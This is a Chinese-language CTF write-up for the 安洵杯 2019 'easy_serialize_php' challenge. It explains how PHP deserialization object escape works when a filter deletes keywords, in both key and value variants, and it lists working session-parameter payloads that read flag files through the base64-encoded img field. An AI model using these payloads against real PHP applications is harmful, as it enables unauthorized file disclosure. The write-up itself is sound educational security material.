[安洵杯 2019]easy_serialize_php


0x00 知識點

PHP反序列化的對象逃逸

任何具有一定結構的數據,只要經過了某些處理而把自身結構改變,則可能會產生漏洞。
參考鏈接:
https://blog.csdn.net/a3320315/article/details/104118688/
過濾函數分為兩種情況
第一種為關鍵詞數增加

例如: where->hacker,這樣詞數由五個增加到6個。
第二種為關鍵詞數減少
例如:直接過濾掉一些關鍵詞,例如這道題目中。

過濾函數filter()是對serialize($_SESSION)進行過濾,濾掉一些關鍵字
那么我們有兩種方法:
鍵逃逸和值逃逸

值逃逸:
這兒需要兩個連續的鍵值對,由第一個的值覆蓋第二個的鍵,這樣第二個值就逃逸出去,單獨作為一個鍵值對

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

var_dump的結果為:

"a:3{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

鍵逃逸:

這兒只需要一個鍵值對就行了,我們直接構造會被過濾的鍵,這樣值得一部分充當鍵,剩下得一部分作為單獨得鍵值對

_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

var_dump的結果為:

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

這兒得s:7:""之所以為空,是因為我們構造得鍵flagphp都是會被過濾得,所以顯示為空,這樣就能吃掉一部分值了,然后將剩下得值充當另一個對象逃逸出去~~

0x01 解題

回到題目,我們首先看源碼

過濾函數filter()是對serialize($_SESSION)進行過濾,濾掉一些關鍵字
正常傳img參數進去會被sha1加密,我們應該用別的方法控制$_SESSION中的參數。
本來挺好的序列化的字符串,按某種去掉了一些關鍵字,本身就不對,本身就涉及到可能破壞原有結構而無法正常反序列化的問題。這里是利用反序列化長度逃逸控制了img參數。之前有一道題目是關鍵字替換導致字符串長度變長,把后面的原有參數擠出去了,
本題是關鍵字被置空導致長度變短,后面的值的單引號閉合了前面的值的單引號,導致一些內容逃逸。。

extract后覆蓋了兩個沒用的屬性,但是后面又強制加了一個我們不可控的img屬性

根據源碼,我們先對f傳參phpinfo

構造payload來對
d0g3_f1ag.php讀取。

;s:14:"phpflagphpflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

解釋一下:
這里首先phpflagphpflag會被過濾為空,吃掉一部分值

$serialize_info的內容為

a:2:{s:7:"";s:48:";s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";

剛好把后面多余的img部分截斷掉

payload:

_SESSION[phpflag]=;s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

讀取/d0g3_fllllllag
payload:

_SESSION[phpflag]=;s:14:"phpflagphpflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

參考鏈接:

https://www.jianshu.com/p/1f44650b0822
https://blog.csdn.net/a3320315/article/details/104118688/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM